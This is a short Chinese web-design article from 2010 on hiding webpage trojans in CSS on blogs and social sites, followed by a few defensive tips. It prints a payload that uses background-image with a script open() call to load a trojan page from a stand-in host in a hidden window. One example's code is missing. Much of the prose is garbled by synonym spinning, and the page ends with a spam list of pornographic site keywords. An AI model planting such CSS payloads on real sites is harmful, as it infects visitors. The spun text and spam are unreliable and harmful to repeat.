網(wǎng)站制作CSS掛馬攻防實(shí)錄
2010/11/15 16:15:24
在Web1.0時(shí)代,使用E掛馬對(duì)于黑客而言,與其說是為了更好地實(shí)現(xiàn)木馬的躲藏,倒不如說是無可奈何的一個(gè)選擇。在簡(jiǎn)樸的HTML網(wǎng)頁(yè)和缺乏交互性的網(wǎng)站中,黑客可以利用的手段也非常有限,即使采取了復(fù)雜的偽裝,也很輕易被識(shí)破,還不如E來得直接和有效。但如今交互式的Web2.0網(wǎng)站越來越多,答應(yīng)用戶設(shè)置與修改的博客、SNS社區(qū)等紛紛泛起。這些互動(dòng)性非常強(qiáng)的社區(qū)和博客中,往往會(huì)提供豐碩的功能,并且會(huì)答應(yīng)用戶使用CSS層疊樣式表來對(duì)網(wǎng)站制作進(jìn)行自由的修改,這促使了CSS掛馬流行。
攻CSS掛馬方式較多,但主流的方式是通過有漏洞的博客或者SNS社交網(wǎng)站系統(tǒng),將惡意的CSS代碼寫入支持CSS功能的個(gè)性化頁(yè)面中。下面我們以典型的CSS掛馬方式為例進(jìn)行講解。
方式1:
Body
“background-image”在CSS中的主要功能是用來定義頁(yè)面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過“background-image”配合t代碼讓網(wǎng)頁(yè)木馬靜靜地在用戶的電腦中運(yùn)行。
那如何將這段CSS惡意代碼掛到正常的網(wǎng)頁(yè)中去呢?黑客可以將天生好的網(wǎng)頁(yè)木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網(wǎng)站的網(wǎng)頁(yè)中,或者掛馬網(wǎng)頁(yè)所調(diào)用的CSS文件中。
方式2:
Body
background-image: url(t:open(“http://www.X.com/muma.htm”,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))
方式1的CSS掛馬技術(shù),在運(yùn)行時(shí)會(huì)泛起空缺的頁(yè)面,影響網(wǎng)頁(yè)訪問者正常的訪問,因此比較輕易發(fā)現(xiàn)。不外在方式2中的這段代碼,使用了t的Open開窗,通過新開一個(gè)躲藏的窗口,在后臺(tái)靜靜地運(yùn)行新窗口并激活訪問網(wǎng)頁(yè)溢出木馬頁(yè)面,不會(huì)影響訪問者觀看網(wǎng)頁(yè)內(nèi)容,因此更加隱蔽。
防網(wǎng)絡(luò)服務(wù)器被掛馬,通常會(huì)泛起防病毒軟件告警之類的信息。因?yàn)槁┒床粩喔拢瑨祚R種類時(shí)刻都在變換,通過客戶真?zhèn)€反映來發(fā)現(xiàn)服務(wù)器是否被掛馬往往疏漏較大。準(zhǔn)確的做法是常常檢查服務(wù)器日志,發(fā)現(xiàn)異常信息,常常檢查網(wǎng)站代碼,使用網(wǎng)頁(yè)木馬檢測(cè)系統(tǒng),進(jìn)行排查。
目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外,還可以在網(wǎng)頁(yè)中設(shè)置CSS過濾,將CSS過濾掉。不外假如你選擇過濾CSS的話,首先需要注意自己的相關(guān)網(wǎng)頁(yè)是否有CSS的內(nèi)容,因此我們?nèi)耘f首推用阻斷方式來防范CSS。阻斷代碼如下所示:
emiao1:expression(this.src=”about:blank”,this.outerHTML=”");
將外域的木馬代碼的src重寫本錢地IE404錯(cuò)誤頁(yè)面的地址,這樣,外域的t代碼不會(huì)被下載。
返回列表
返回首頁(yè)
主站蜘蛛池模板:
国产精品成人va|
精品无码一区在线观看|
在线免费观看h|
亚洲av无码一区二区三区电影|
竹菊影视欧美日韩一区二区三区四区五区|
国产区精品一区二区不卡中文|
青青青国产依人精品视频|
成年女人免费v片|
久久精品国产亚洲av麻豆色欲
|
成人亚洲欧美日韩在线观看|
亚洲婷婷综合色高清在线|
破了亲妺妺的处免费视频国产|
国产一区二区三区在线电影|
黄色软件下载免费观看|
天天干天天射天天操|
久久精品第一页|
爱情论坛免费在线看|
国产区香蕉精品系列在线观看不卡|
又粗又硬又爽的三级视频|
在线播放免费人成毛片乱码|
一区二区三区免费在线视频|
最近中文字幕大全高清视频|
亚洲成人福利网站|
永久黄色免费网站|
偷偷狠狠的日日高清完整视频|
精品无码无人网站免费视频|
国产h在线播放|
超污视频在线看|
国产高清在线精品一区|
久久99国产精品久久99果冻传媒|
欧美日韩精品国产一区二区|
亚洲黄色在线观看|
韩国电影中文字幕|
国产黄大片在线视频|
fuqer2018|
无码人妻精品丰满熟妇区|
久久国产视频网站|
欧美日韩亚洲国产精品
|
亚洲美女大bbbbbbbbb|
男女交性特一级|
国产乱人伦av在线a|